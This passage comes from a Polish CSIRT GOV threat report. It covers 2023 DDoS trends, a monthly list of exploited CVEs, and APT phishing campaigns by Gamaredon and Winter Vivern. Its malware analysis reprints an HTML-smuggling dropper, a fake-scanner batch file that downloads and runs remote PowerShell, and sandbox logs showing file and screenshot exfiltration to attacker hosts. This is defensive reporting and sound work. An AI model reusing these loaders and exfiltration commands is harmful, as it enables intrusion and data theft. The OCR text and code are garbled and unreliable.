
Analiza charakterystyki prowadzonych atakow DDoS wskazuje, ze w przewazajacej liczbie
dominowaty ataki wykorzystujgce metody znane jako TCP SYN Flood, TCP ACK Flood, czy UDP Flood.
Wykorzystywane byty takze dedykowane ataki na strony internetowe, bazujagce na dostosowaniu
wywotywanych zapytan do zawartosci aktywnej strony, np. poprzez manipulacje wywotaniami HTTP typu
GET czy POST.

Jako przyktad tego typu zapytan mozna poda¢ m.in. nastepujace zarejestrowane wywotania:
e POST /newsletter/oferty HTTP/1.1" 500 201,-" ,Go-http-client/1.1"

e GET /?vgs07vp5ba8echbw3ooc8=7vjh0cf47f66000axplslé HTTP/1.1" 200 75531 ,Mozilla/5.0
(Windows NT 10.0; Winb4; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140
Safari/537.36 Edge/18.18247"

e GET /wyszukiwarka.php?search-keywords=wmxglso HTTP/1.1" 200 35281 ,-" ,Go-http-client/1.1"

Analiza zrédet pochodzenia atakow DDoS w 2023 roku pod katem geolokalizacji najaktywniejszych
adresow IP hiorgcych udziat w atakach wskazuje, iz najwigksza liczba atakujacych adreséw pochodzita
z Polski, USA oraz Niemiec.

Rysunek 27. Geolokalizacja zidentyfikowanych najaktywniejszych adreséw IP biorgcych udziat w ataku




Znaczna cze$¢ adresow IP wskazujacych na Polske zostata zidentyfikowana jako adresacja

wykorzystywana przez ustugi VPN. Pozwalato to atakujagcym na omijanie ewentualnych regut filtrujgcych

ruch sieciowy i tym samym ewentualne zwiekszenie mozliwosci oddziatywania atakdw w przypadku
2%

podmiotdw stosujacych reguty bezpieczenstwa polegajgce na obszarowym ograniczeniu przychodzgcego
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ruchu sieciowego.
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Wykres 9. Procentowy rozkfad zidentyfikowanych adreséw IP biorgcy udziat w atakach DDoS

Kolejnym aspektem oceny stopnia zagrozenia atakami DDoS byt czas ich trwania. W pierwszych
trzech kwartatach 2024 roku s$redni czas trwania rejestrowanych atakdw byt zblizony i miescit sig

w okresie od trzech do pigciu godzin. W IV kwartale 2024 roku dominowato natomiast wiele krotkotrwatych
atakow.
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Wykres 10. Sredni czas ataku przedstawiony w minutach w podziale na kwartaty

Analizujac przyczyny wystapienia tego typu atakow mozna wskazac przede wszystkim aktywnosc
grup haktywistycznych. Czes¢ tych grup reprezentuje okreslony kolektyw dziatajgcy w ramach grup
NoName057(16), ANONYMOUS | RUSSIA, PHOENIX. Ataki DDoS firmowane przez te grupy skupiajg sie
gtdwnie na ograniczeniu dostepnosci witryn internetowych atakowanych podmiotéw oraz $wiadczonych
przy ich wykorzystaniu ustug. Tego rodzaju dziatania nosza czesto znamiona kampanii propagandowych
(informacje na ich temat sa intensywnie rozpowszechniane za posrednictwem popularnych mediow
spotecznosciowych), podkreslajgcych domniemang skutecznosé grup przy jednoczesnej prébie
uwypuklenia stabosci atakowanych celow.

Biorac pod uwage sytuacje geopolityczna, w tym w szczegdlnosci konflikt zbrojny w Ukrainie, celem
aktywnosci tego typu grup haktywistycznych pozostawata nie tylko Polska, ale rowniez infrastruktura
teleinformatyczna i ustugi we wszystkich krajach, ktdre zostaty uznane jako wspierajace szeroko
rozumiane dziatania niezgodne z prorosyjska narracja geopolityczna.




Ponizej przedstawiono przyktadowe propagandowe tresci dotyczace prowadzonych atakéw DDoS
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Rysunek 28. Propagandowe tresci jednej z grup haktywistycznych informujgce o atakach DDoS wobec usfug
gov.pl




2.4. Przeglad podatnosci w obszarze dziatania CSIRT GOV

Zespot CSIRT GOV odnotowat w 2023 r. wysoki poziom zagrozen w zakresie prob wykorzystania
podatnosci urzadzen brzegowych, zwtaszcza typu VPN, jak rowniez podatnosci systeméw poczty
elektronicznej. Czgstym celem atakdw byty panele poczty typu webmail bezposrednio dostgpne w sieci
Internet, takie jak Roundcube Webmail czy Outloook Web Access.

Sposrod wykorzystywanych podatnosci identyfikowano rowniez takie, ktdre stanowity ataki typu
zero-day. Czesto wykorzystywanym wektorem ataku byty rowniez podatnosci wykryte i oznaczone
we wczesniejszych latach, dotyczace oprogramowania FCKeditor, takie jak CVE-2009-2265 oraz
CVE-2008-6178.

Ponizej przedstawiono przeglad podatnosci, ktore miaty wptyw na poziom zagrozenia systemow
i sieci teleinformatycznych podmiotow pozostajgcych w obszarze wtasciwosci Zespotu CSIRT GOV.

Styczen

e Juniper (CVE-2022-22184) - nieprawidtowa walidacja danych wejsciowych w deamonie
protokotu routingu (rpd) w systemach Juniper Networks Junos 0S i Junos 0S Evolved umozliwia
nieuwierzytelnionemu atakujgcemu sieciowemu spowodowanie odmowy ustugi (DoS);

e Red Hat (CVE-2022-42920) - btad zapisu poza granicami (00B) w APl Apache Commons BCEL.
Usterka moze zosta¢ wykorzystana do przekazania danych kontrolowanych przez atakujacego
do interfejsow API, dajac kontrole nad wynikowym kodem bajtowym;

e Centos Web Panel 7 (CVE-2022-44877) - podatno$¢ pozwala na zdalne nieuprawnione wykonanie
kodu poprzez parametr login;

e Sophos Firewall (CVE-2022-42475) - mozliwos¢ przepetnienia bufora w SSLVPNd
do nieuprawnionego zdalnego wykonywania polecen przez adwersarza,

e Microsoft Windows Advanced LocalProcedure Call (ALPC) (CVE-2023-21674) - podatnosc
pozwalajaca na eskalacje uprawnien uzytkownika;




Sty Gt

Luty

e VMware (CVE-2022-31706, CVE-2022-31704, CVE-2022-31710, CVE-2022-31711) - seria podatnosci
umozliwiajacych wstrzyknigcie pliku do systemu operacyjnego urzadzenia, co moze skutkowac
zdalnym wykonaniem kodu;

e Joomla (CVE-2023-23752) - podatnos¢ dotyczy CMS Joomla i umozliwia wystosowanie zadania
do API systemu Joomla, w celu uzyskania konfiguracyjnych parametréw serwisow;

e Microsoft Windows Graphic Component (CVE-2023-21823) - podatnos¢ pozwalajgca na eskalacje
uprawnien uzytkownika;

e Apple i0S, Mac0S, Safari and iPad0S (CVE-2023-23529) - podatnos¢ umozliwiajgca wykonywanie
kodu;

Marzec

e Fortinet (CVE-2023-25610) - podatnosc polegajaca na ,niedopetnieniu bufora - ,buffer underflow”,
ktorg mozna wykorzystac do wykonywania kodu na atakowanym urzadzeniu i/lub wykonaniu DoS
na GUI;

e MS Qutlook (CVE-2023-23397) - podatnos¢ pozwalajaca na pozyskanie przez atakujacego skrotu
NTLM, na podstawie ktdrego mozna przeprowadzi¢ probe uzyskania hasta zaatakowanego
uzytkownika;

e Zimbra Collaboration Suite (CVE-2022-27926) - podatno$¢ typu XSS komponentu, umozliwiajgca
pozyskanie przez atakujgcych danych logowania uzytkownikow;

e FCKeditor (CVE-2009-2265, CVE-2008-6178) - podatnos¢ pozwalajagca na umieszczenie
na serwerze dowolnego pliku, w tym zawierajgcego ztosliwy kod (webshell) umozliwiajacy
zdalne wykonanie polecen po stronie serwera;

e Apache Spark Command (CVE-2022-33891) - podatnos$¢ umozliwiajaca wstrzykiwanie komend
poprzez Spark User Interface (Ul) przy uruchomionym Access Control Lists (ACLs);

e Microsoft Windows SmartScreen (CVE-2023-24880) - podatnos¢ umozliwiajaca atakujgcemu
ominigcie zabezpieczen Mark of the Web (MOTW) poprzez specjalnie spreparowany ztosliwy plik;

pe




Kwiecien
Oracle WebLogic Server (CVE-2023-21839) - podatnos¢ pozwalajaca nieuwierzytelnionemu

atakujagcemu z dostepem do sieci przez protokoty T3 lub II0P skompromitowac Oracle WebLogic
Server,

Maj

Microsoft Win32K (CVE-2023-29336) - podatnos¢ pozwalajaca podnies¢ uprawnienia uzytkownika
do poziomu SYSTEM;

Barracuda Email Security Gateway (CVE-2023-2868) - podatnos¢ pozwalajaca na zdalne
wykonanie kodu z uwagi na brak prawidtowego przetwarzania plikdw .tar;

Czerwiec

Fortinet (CVE-2023-27997) - podatnos¢ pozwalajaca na nieuwierzytelnione zdalne przestanie
specjalnie spreparowanego zadania do podatnego urzadzenia, co nastepnie umozliwia
atakujacemu wykonanie dowolnego kodu na skompromitowanym urzadzeniu;

FortinetFortiNAC (CVE-2023-33299) - podatnos¢ pozwalajaca atakujgcemu na wykonanie
nieautoryzowanego kodu lub polecen poprzez specjalnie spreparowane zgdanie na porcie
komunikacyjnym miedzy serwerami (1050/tcp);

ZyxelFirewalls  (CVE-2023-33009,  CVE-2023-33010) - podatnosci pozwalajace
nieuwierzytelnionemu atakujagcemu na spowodowanie warunkow odmowy ustugi (DoS) lub
zdalne wykonanie kodu;

RoundcubeWebmail (CVE-2021-44026) - podatnos¢ pozwalajaca na wstrzykniecie kodu poprzez
wyszukiwanie;

RoundcubeWebmail (CVE-2020-12641) - podatnos¢ pozwalajagca na zdalne wykonywanie
kodu poprzez ustawienia konfiguracyjne dla Sciezek imagemagickim_convert_path lub
im_identify_path;

RoundcubeWebmail (CVE-2020-35730) - podatnosc¢ XSS pozwalajgca atakujgcemu na wystanie
wiadomosci e-mail w postaci zwyktego tekstu z JavaScriptem w elemencie odnos$nika, ktdry jest
zle obstugiwany w rcube_string_replacer.php;




Sty Gt

Lipiec
e MS Office (CVE-2023-36884) - podatnosc¢ pozwalajgca atakujgcemu na zdalne wykonanie kodu
poprzez uruchomienie spreparowanego pliku Office;

e Zimbra (CVE-2023-37580) - podatnos¢ pozwalajgca na wykorzystanie ptatnosci Reflected XSS,

e FortiOS i FortiProxy (CVE-2023-33308) - podatnos¢ pozwalajaca wykona¢ dowolny kod lub
polecenie za posrednictwem spreparowanych pakietéw do polityk proxy lub polityk zapory
sieciowej z trybem proxy z gteboka inspekcja pakietow SSL;

e NetScaler (CVE-2023-3519, CVE-20233466 oraz CVE-2023-2367) - podatnos¢ pozwalajaca
na nieuwierzytelnione zdalne wykonywanie kodu;

e lvantiEndpoint (CVE-2023-35078) - podatnos¢ pozwalajaca na zdalny nieautoryzowany dostep
do danych uzytkownikow oraz wprowadzenie zmian konfiguracyjnych na serwerze, w tym
utworzenie konta administracyjnego;

e Procesory AMD (CVE-2023-20593) - podatnosc pozwalajgca na potencjalng kradziez chronionych
informacji z procesora, takich jak klucze szyfrujace i loginy uzytkownikéw. Atak nie wymaga
fizycznego dostepu do komputera lub serwera - moze zostac przeprowadzony za pomoca skryptu
JavaScript na stronie internetowe;j;

Sierpien
e IvantiSentry (CVE-2023-38035) - podatnos¢ pozwalajaca na zmiane konfiguracji, uruchamianie
polecen systemowych lub zapisywanie plikow,

e Windows Error Reporting Service (CVE-2023-36874) - podatnos¢ pozwalajgca na podniesienie
uprawnien (EoP) w ustudze raportowania btedow systemu Windows, wykorzystywana do uzyskania
uprawnien administratora;

e Barracuda ESG (CVE-2023-2868) - podatnosc pozwalajaca na zdalne wykonanie kodu wiadomosci
e-mail ze ztosliwym zatgcznikiem w formacie TAR, JPG, DAT,




Wrzesien

VMware Aria Operations for Networks (CVE-2023-34039) - podatnos$¢ pozwalajgca na obejscie
standardowej procedury uwierzytelniania, prowadzac do nieautoryzowanego dostepu;

WinRAR (CVE-2023-38831) - podatno$¢ pozwalajaca na wykonanie kodu zawartego w archiwum
ZIP;

ZohoManageEngineServiceDesk Plus (CVE-2022-47966) - podatnosc, ktdra pozwala na uzyskanie
nieautoryzowanego dostepu do aplikacji ZohoManageEngineServiceDesk Plus, jak rowniez
uzyskanie persystencji oraz przeprowadzenie dalszych dziatan w systemach teleinformatycznych;

Adobe (CVE-2023-26369) - podatnos¢ umozliwiajaca zdalne wykonanie kodu i wystepuje
w wersjach oprogramowania dla systemow Windows oraz mac0S,;

Pazdziernik

RoundcubeWebmail (CVE-2023-43770) - podatnos¢ typu XSS mogaca prowadzi¢ do ujawnia
danych poprzez ztosliwe linki zamieszczone w wiadomos$ciach e-mail;

AtlassianConfluence (CVE-2023-22515) - podatno$épozwalajgcanautworzenie nieautoryzowanych
kont administratora i uzyskanie nieuprawnionego dostepu do oprogramowania;

Protokot HTTP/2 (CVE-2023-44487) - podatnos¢ pozwalajaca na przeprowadzenie ataku typu
DoS (Denial-of-Service) poprzez protokot HTTP/2 na dowolnym serwerze webowym,;

Cisco 10S XE (CVE-2023-20198) - podatnos¢ umozliwiajaca zdalnemu, nieuwierzytelnionemu
atakujagcemu na utworzenie konta w przedmiotowym systemie z dostepem do wykonywania
wszystkich polecen (level 15);

Listopad

Apache ActiveMQ (CVE-2023-34039) - podatno$¢ pozwalajagca atakujgcemu z dostepem
sieciowym do brokera na uruchamianie dowolnych polecen powtoki poprzez manipulowanie
serializowanymi typami klas w protokole OpenWire, co pozwala utworzy¢ instancje dowolne;
klasy na sciezce Klas;

Grudzien

RoundcubeWebmail (CVE-2023-5631) - podatnos¢ typu XSS w narzedziu Roundcubercube_
washtml.php, ktéra moze zosta¢ wykorzystana do zatadowania dowolnego kodu JavaScript za
posrednictwem wiadomosci e-mail HTML ze specjalnie spreparowanym dokumentem SVG;




2.5. Istotne podatnosci w obszarze dziatania CSIRT GOV

Eksploitacja podatnosci MS Outlook

Sposérod przedstawionych podatnosci Zespot CSIRT GOV zarejestrowat przede wszystkim
zwigkszong aktywnosc¢ zwigzang z eksploitacja podatnosci MS Outlook. Podatnos¢ ta zostata oznaczona
jako CVE-2023-23397, o stopniu krytycznosci w skali CVSS:3.1 okreslonym na 9.8.

Przedmiotowa podatnos$¢ pozwala na pozyskanie przez atakujacego skrétu NTLM, na podstawie
ktorego mozna przeprowadzic prébe uzyskania hasta zaatakowanego uzytkownika. Nastgpnie pozyskane
hasto moze zosta¢ uzyte w celu przeprowadzenia proby logowania do innych ustug, takich jak konta
pocztowe uzytkownika, firmowy VPN, konta w mediach spotecznosciowych itd. Dodatkowo, w przypadku,
kiedy atakujacy posiada dostep do sieci lokalnej ofiary, mozliwe jest przeprowadzenie ataku typu NTLM
relay. Ten rodzaj ataku pozwala adwersarzowi na uzyskanie nieuprawnionego dostepu do zasobdw
serwera, do ktdrego uwierzytelniony dostep posiada ofiara. Bazuje on na braku koniecznosci ,tamania”
hasta uzytkownika, poniewaz atakujacy uwierzytelnia sig na serwerze danymi przekazanymi bezposrednio
przez host ofiary. Zaznaczy¢ nalezy jednak, iz do poprawnego przeprowadzenia ataku konieczny jest
dostep atakujacego do sieci wewnetrzne;.

Wskazana podatnos¢ umozliwiata eksploitacje klienta poczty MS Outlook. W celu przeprowadzenia
ataku wykorzystujgcego wskazang podatno$c atakujgcy przesytat do ofiary wiadomosc e-mail zawierajaca
wydarzenie kalendarza Outlook, ktore w swoich ustawieniach posiadato odwotanie do zewnetrznego
zasobu kontrolowanego przez adwersarza. Komunikacja z zasobem odbywata sie z uzyciem protokotu
SMB (port 445) z uwierzytelnianiem NTLM. Zaznaczy¢ nalezy, iz przeprowadzenie ataku nie wymagato
interakcji ze strony ofiary. Przyktad kampanii socjotechnicznej wykorzystujacej te podatnosc zostat
opisany w rozdziale 3 raportu dotyczgcym zagrozen APT.




Eksploitacja podatnosci NetScaler

Na poczatku drugiej potowy 2023 roku Zespot CSIRT GOV zarejestrowat zwigkszong aktywno$c
zwigzang z eksploitacja podatnosci w oprogramowaniu dostarczanym przez NetScaler (dawniej
Citrix). Podatnosci te zostaty oznaczone odpowiednio jako CVE-2023-3519 o stopniu krytycznosci
CVSS:3.1 okreslonym jako 9.8, CVE-2023-3466 o stopniu krytycznosci 8.3 oraz CVE-2023-2367 o stopniu
krytycznosci 9.8.

Wyzej wymienione podatnosci polegaja na mozliwosci implementaciji kodu, ktory moze skutkowac
nieuwierzytelnionym zdalnym wykonaniem. Producent dystrybuowat ostrzezenie przed aktywna
eksploitacjg wskazanych podatnosci, ktorg zaobserwowat w 2023 roku, zastrzegajac, ze udana
eksploitacja wymaga, aby urzadzenie byto skonfigurowane jako brama (serwer wirtualny VPN, serwer
proxy ICA, CVPN, serwer proxy RDP) lub serwer wirtualny.

Eksploitacja podatnosci Roundcube Webmail

Pod koniec roku 2023 Zespot CSIRT GOV zarejestrowat zwigkszong aktywnos$¢ zwigzang

z eksploitacjg podatnosci Roundcube. Podatnos¢ oznaczona zostata jako CVE-2023-5631 o stopniu
krytycznosci w skali CVSS:3.15.4.

CVE-2023-5631 to podatnos¢ typu cross site scripting (XSS) w skrypcie rcube_washtml.php, ktdra
moze zosta¢ wykorzystana do zatadowania dowolnego kodu JavaScript za posrednictwem wiadomosci
e-mail HTML ze specjalnie spreparowanym dokumentem SVG. Podatnosé dotyczy wersji Roundcube 1.6.x
przed 1.6.4,1.5.x przed 1.5.5 i 1.4.x przed 1.4.15.

Proby wykorzystania przedmiotowej podatnosci przez grupy APT zostaty przedstawione w rozdziale
3 Raportu.







KAMPANIE AP T




W ramach zagrozen rozpoznawanych przez Zespot CSIRT GOV szczegdlng kategorig pozostajg
zagrozenia okreslane jako APT. Polska cyberprzestrzen jest statym polem aktywnosci grup APT (Advanced
Persistent Threat), ktdre zainteresowane s3 uzyskaniem nieuprawnionego dostepu do systemow, sieci
i zasobow administracji panstwowej i przedsiebiorstw o duzym znaczeniu dla gospodarkii bezpieczenstwa
panstwa. Zagrozenia ze strony tych grup charakteryzuja sie wysokim stopniem zaawansowania oraz
dazeniem do trwatego dostgpu. Stanowig przez to jedno z najistotniejszych wyzwan dla podmiotow
bedacych w ich zainteresowaniu, a przede wszystkim dla zespotow CSIRT, ktdre prowadzg statg analize
zagrozen oraz wspieraja w wykrywaniu i mitygacji prob tego typu atakéw.

Scenariusz atakow grup APT w roku 2023 byt determinowany czesciowo trwajacym konfliktem
zbrojnym w Ukrainie. Gtownym wektorem ataku grup APT skierowanych przeciwko podmiotom
we wtasciwosci CSIRT GOV byt phishing dystrybuujacy ztosliwe oprogramowanie, celem prowadzenia
dalszych infekcji kolejnymi wyspecjalizowanymi odmianami malware'u.

Na szczegdlng uwage zastuguje metoda dystrybucji ztosliwych wiadomosci wymierzonych
precyzyjnie w okreslone podmioty i osoby funkcyjne w ramach organizacji. Przeprowadzenie przez
adwersarza rozpoznania struktury podmiotdw bedacych w jego zainteresowaniu pomaga w pdzniejszym
uwiarygodnieniu korespondencji poprzez podszycie pod osoby, z ktérymi ofiara moze prowadzic
autentyczna korespondencje elektroniczna.

Ponizej przedstawione zostaty ujawnione kampanie APT przypisane do okreslonych grup
cyberofensywnych.

3.1. APT Gamaredon

Rok 2023 rozpoczat sie kampanig grupy znanej jako Gamaredon/Trident Ursa/Primitive Bear/
UAC-0010. W potowie stycznia 2023 roku grupa prowadzita wysytke wiadomosci podszywajgcych sie pod
Generalng Dyrekcje ds. Obstugi Misji Dyplomatycznych oraz Ministerstwo Obrony Ukrainy. Zespét CSIRT
GOV zidentyfikowat, ze w Polsce grupa obrata za cel administracje panstwowa.




From Directorate-General for Rendering Services to Diplomatic Missions <info@dipua.org> @

Subject Providing humanitarian assistance to combat Russian aggression 1/20/23,15:21

Directorate general for rendering services to diplomatic missions expresses deep respect to you.
We ask you, as a true ally and friend of our state, to consider providing ukraine with additional humanitarian assistance to counter russian aggression.

We hope for a positive solution to our issue and further fruitful cooperation between our countries.

Sincerely,

Mr Oleksandr Kurach

DIRECTORATE GENERAL FOR RENDERING SERVICES TO DIPLOMATIC MISSIONS

> [ 1attachment: List_of_necessary_humanitarian_assistance.html 57.3 KB % Save v

Rysunek 29. Wiadomo$¢ phishingowa w ramach kampanii Gamaredon

Do wiadomosci dotaczony byt plik HTML, do otwarcia ktorego zachecata tres¢ wiadomosci.

Uruchomienie zatgcznika umozliwiato utworzenie na komputerze ofiary archiwum RAR, wykorzystujac
technike HTML Smuggling. Jest to technika pozwalajaca na ukrycie w kodzie HTML pliku poprzez
zakodowanie go w Baseb4.

N

w

var N7y = navigator["platform"];
if (['win32', 'win64', 'Windows', 'WinCE'].index0f(N7y) = -1) die();
var 1Q6 = document.createElement('a');

4 var kEe = document.createTextNode("");

e QNS

1Q6.appendChild(kEe);

IQ6.title = "G6U";

Rro =
"UESDBAOAAAAAAAAINFYAAAAAAAAAAAAAAAAQAAAATGLZAFIVZ19uUZWNLc3NhenlfaHVEYWS
GIMIHR0ZSBSAXNzaWFuIEZ1ZGVyYXRpb24ucGRmLmxua+272+s9S3YftkeWkPULPxgT+Raij
WOWdLFFc2VUdONZa31ZUXhLc2VOYm9LeWIYUES jV25PZmpQakpwZG10RGIKTMZ jYmtZVmt 4a
QYLR4allhwWnlQYkJjc1Z1SkRwb1BDZmtXRFpmWVBNVONEC1R5Yk13VFJabXhtZEJWc2pYZ1B
1qRMJIEZQOKZmIPUGRNeVdCeX1hdGpUb1p0Y@ZCbm1yYUViUm9xeVFS5R1ANCKVKZnZWbVZOTm
YnN4eU5iTUt1UVBzQLItSmNGd310ak1PWmZDWHLRCXIYUGOXWWSCeW10VKZQWFFLUW9SeFZ4
I1Q6.href = 'data:application/x-rar-compressed;base64, ' + Rro;
document.body.appendChild(1Q6);

IQ6.download = "List_of_necessary_humanitarian_assistance.rar";
106.click();

var img = document.createElement("img");

img.src = "http://89.185.84.43/pl.20.01.gif";

4 img.style.width = "1px";

img.style.height = "1px";
1Q6.appendChild(img);

Rysunek 30. Kod po deobfuskacji zapisany w Base64




Csirr GOS

Wewnatrz archiwum zawarty byt plik o podwojnym rozszerzeniu. Przy domyslnych ustawieniach
systemu Windows faktyczne rozszerzenie (LNK) byto ukrywane, a uzytkownik wyswietlajacy ztosliwy plik
widziat fatszywe rozszerzenie PDF, sugerujace dokument, o ktdrym mowita tre$¢ wiadomosci.

List of necessary
humanitarian
assistance for the
qualitative
opposition to the
aggression of the
Russian
Federation.pdf.lnk

Rysunek 31. Nazwa ztosliwego pliku wraz z widocznym petnym rozszerzeniem

Maskujacy sie jako PDF plik LNK, bedacy plikiem skrotu systemu Windows, zawierat odwotanie
do zewnetrznego zasobu poprzez proces systemowy MSHTA. Jest to tzw. technika Living Off the Land,
wykorzystujaca dostepne w systemie operacyjnym narzedzia i zasoby celem wykonania ztosliwej
aktywnosci. Z zewnetrznego zasobu nastepowato kolejno pobranie oraz wykonanie pliku HTA, ktdry
mogt posiadac rozszerzenie RTF czy DjVu, stanowigcego tzw. second-stage malware. Infekcja pozwalata
atakujacemu na ustanowienie trwatego dostepu do zaatakowanego systemu i wykonywanie kolejnych
polecen, eksfiltracje danych czy dalszg instalacje narzedzi.




3.2. Winter Vivern

Koniec stycznia 2023 roku przyniost powrdt aktywnosci grupy Winter Vivern/UAC-0114 w CRP,
ktora wykorzystata wizerunek Centralnego Biura Zwalczania Cyberprzestepczosci do prob instalacji
ztosliwego oprogramowania APERITIF na komputerach ofiar.

cyber.cbzc@cbzc.policja.gov.pl

O ochronie informacji 1/30/23, 07:56

Szanowni Parstwo,

W wyniku ostatniego cyber ataku na naszych obywateli Centralne Biuro Zwalczania
Cyberprzestepczosci odkrylo, ze na komputerach zainstalowano nielegalne oprogramowanie.
Nasze biuro przygotowato oprogramowanie i instrukcje do wykrywania wirusow.

Pamietaj, aby przeczytac instrukcje i wykona¢ wszystkie te kroki, aby zapobiec wyciekowi
informacji.

Z powaZaniem
Centralne Biuro Zwalczania Cyberprzestepczosci

gyowny
specjalista

02-624 Warszawa

ul. Putawska

148/150

+4772 11877
cyber.cbzc@cbzc.policja.gov.pl

Rysunek 32. Wiadomo$¢ w ramach kampanii Winter Vivern z podszyciem pod CBZC (spoofing adresu oraz

fatszywa strona)




AKTUALNOSCI

WAZNY KOMUNIKAT

Data publkacy 25.10.2022

Centralne Biuro Cyberp gpczosci zap infor p

na wysy e-maili do y i, ktorzy padli ofiarg atakow hakerskich, w celu
iezenia wy i poufnych danych.

Jak wykryé:

a) Slaba wydajnos¢ systemu

b) Czeste aware aplikaci

©)  Nietypowe komunikaty o bledach

d) Przegladarka czesto si¢ zawiesza

€) Komputer przestaje odpowiadac

f)  System sam si¢ uruchamia

@)  Zablokowany dostep do piikow i programéw

Instrukcja:

a)  Pobierz nasze oprogramowanie!

[Sciagnij

b)  Uruchom program (poniewaz opracowany program nie jest produktem publicznym, moze by< konieczne
dzialan podczas

) Uzyskaj wynik (aplikacia przeskanuje niezbedne Katalogi i wyswietii wynik skanowania)
d)  Powykrycu zZioSiwego oprogramowania program skanujacy wyswieth lokalizage wirusow, musisz je usunac!

Dzigkuje za wspoiprace

Rysunek 33. Strona phishingowa imitujgca strone CBZC

Aktor wykorzystat technike spoofingu adresu email, sugerujac wysytke z autentycznej domeny
chzc.policja.gov.pl, w rzeczywistosci korzystajac ze skompromitowanego konta pocztowego zagraniczne;j
organizacji. W tresci wiadomosci pojawita sie zacheta do pobrania oprogramowania antywirusowego,
rzekomo stworzonego przez CBZC, ze strony imitujacej autentyczng witryne Biura. Plik Protector.bat
wyswietlat uzytkownikowi symulowany postep ,skanowania”, jednoczesnie wykorzystujac polecenie
PowerShell do pobrania zto$liwego payloadu z zewnetrznego zasobu. Po ustanowieniu trwatego dostepu
aktor dokonywat eksfiltracji plikdw o okreslonych rozszerzeniach.
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agecho off

echo Scan viruses signatures started.
echo Scaning ...
powershell.exe -c "Start-Process -win hidden -filepath 'powershell.exe’
-argumentlist™" " $a=whoami;"",""[System.Net.ServicePointManager] :: ServerCertificatevalidationCallback = { $true};
iex (New-Object Net.WebClient).DownloadString('https://troadsecow.com/fjasmngptwq95824s.php')"""
echo 3%%

timeout 3 > NUL

echo 7%%

timeout 2 > NUL

echo 13%%

timeout 4 > NUL

echo 22%%

timeout 2 > NUL

echo 29%%

timeout 1 > NUL

echo 35%%

timeout 4 > NUL

echo 41%%

timeout 3 > NUL

echo 50%%

timeout 1 > NUL

echo 57%%

timeout 3 > NUL

echo 68%%

timeout 2 > NUL

echo 72%x%

timeout 3 > NUL

echo 87%%

timeout 1 > NUL

echo 90%%

timeout 2 > NUL

echo 98%%

timeout 1 > NUL

echo Virus not found!

pause

Rysunek 34. Kod ztosliwego pliku pobieranego ze strony phishingowej

« Bl cmdexe (PID: 3160 cmdiine: C:\Windows\system32\cmd. exe /c "C:WsersluseriDeskiop\Protector.bat” * MDS5: 4E2ACF4F8A396486ABA268CIABA245F) (4
conhost.exe (PID: 3460 cmdline: C:\Windows\system32\conhost exe Oxfffif -ForceV1 MD5: EAT7TDEEATS2E8B4D7CTCIIBEFAL496) [
powershell exe (PID: 6032 cmdline: powershell exe - “Stat-Process -win hidden -flepath ‘powershell exe’ -argumentlist ~$a=whoami, ™

"[System.Net Seni rCi llback = {'Strue}iiex (New-Object Net.WebClient). D hitps:
4s.php) MDS: 950005602390328C68B4C2FDFCDEF913) ()
- H powershell exe (PID: 5204 emdline: "C exe” $a=whoami, [System Net Senice
g ionCallback = {Strue);iex (New-Object Net WebClient).D \ php) MD5

95000560239032BCE8B4C2FDFCDEF913) [N
« Bl conhost exe (PID: 5192 cmdline: C:\Windows\system32\conhost.exe Oxffifif -ForceV'1 MDS: EATTTDEEATS2ESB4DTCTCI3BBFEA4496) [

whoami exe (PID: 6056 cmdline: C\Windows\system32whoami exe MD5: AA18BE1AD24DE08417C1AT459F5C1701) [
whoami.exe (PID: 4820 cmdline: C:\Windows\system32whoami.exe MD5: AA18BE1AD24DEQ3417C1AT459FSC1701) [
schtasks. exe (PID: 3940 cmdline: C:Windows\system32\schtasks. exe MDS: 838D346D1D28F00783B7ASCEBD03A0DA) [

« W1 schtasks exe (PID: 3968 cmdiine: "C: e" lereate fxmi C:\L xml
fin Client Update Microsofts-{TCUNTH-9012.4RE 1-8BWD-6HFI2D4FNI1I2) /f MDS: 838D346D1D28F00783B7A6C6BD03A0DA)
« X powershell exe (PID: 6356 cmdiine: "C: exe” [Reflection Assembly]::LoadWithPartialName(System Drawing)

function screenshot([Drawing Rectangle]Sbounds, Spath) {Sbmp = New-Object Drawing Bitmap Sbounds.width, Sbounds. height: Sgraphics = [Drawing Graphics]. Fromimage(Sbmp).
Sgraphics. CopyFromScreen(Sbounds. Location, [Drawing Point]::Empty, Sbounds.size); $bmp Save(Spath); Sgraphics. Dispose(); Sbmp. Dispose()}; Sbounds = [Drawing.Rectangle]

FromLTRB(0, 0, 1900, 1080); function dowloadFileUP(Sf){Sname=$f replace("\,") replace( \/); rincipal tCurrent()) User Value:
Involk -Uri https Tobja2 14 333fdb93dd 17 _php' -Method Post -nFile §f -Headers @(filename'=Svu}
-UseDefaultCredentials}: $i=0; Si=$i+1.Sf="c WU JpdateCl update_tool_"+5i+ dat’screenshot Sbounds Sf, sleep 1, dowloadFileUP(Sf);
sleep 9, remove-item $f -Force } MD5: 68B4C2FOFCDEF913) O N o
« Ml conhost.exe (PID: 5340 cmdline: C:Windows\system32\conhost.exe Oxffi -ForceV'1 MDS: EA77T7DEEATB2E8B4D7CTC3IBBFBA4496) (4
« B powershell.exe (PID: 3800 cmdiine: "C: exe” $a = ("Desktop!”)+\"\"V"(Is -Path Sa -Recurse).
FuliName|?(($_-like \** edbt") -or (5_-like \"* ems\") -or (§_-like \"* eme\’) -or ($_ -like 1™ emz\") -or ($_-like \"* key\") -or (§_ -like \"* pem\") -or (5_-like \"* ovpn'") -or (5_-like \"* bat\")

~or (5_-like \"cer\") -or (§_ -like \™p12V") or (S_-like \™.cfg\") -or (5_ ke ™ log\") or (S _-ike \"".bxt") -or (5_ -ike " pd\") -or (S_-like \™* doc\") -or (§_ ke \"*.docx\")
-or (5._-like \" xIs\") -or (5 ike \"* xlsx\") -or (S_ -like \".rdg\'} | %{Sleep 3itry{( New-Object Net Webclient) hitps: 1
7308b3e2de3a78cc05_1.php\",( (S_+"###\"+[system. convert] 10 File] (5)) -join \"rn\ MDS DFCDEFS13) [
« Bl conhost exe (PID: 5500 emdline: C:\Windows\system32\conhost exe Oxflf -ForceV'1 MDS: EATTTDEEATB2EBBADTCTC3IBBFBALL96) (]
timeout exe (PID: 1408 cmdline: timeout 3 MDS: EBIAGS078396FBSD4E3B13BBI198CE18) (4
timeout.exe (PID: 2240 cmdine: timeout 2 MDS: EBIAG5078396FBSD4EB13DB9198CE1E) (1

> | wershell exe (PID: 3776 cmdline: C. EXE -w hidden -c "Sg=New-Object Net Webclient:Sg {1 iex
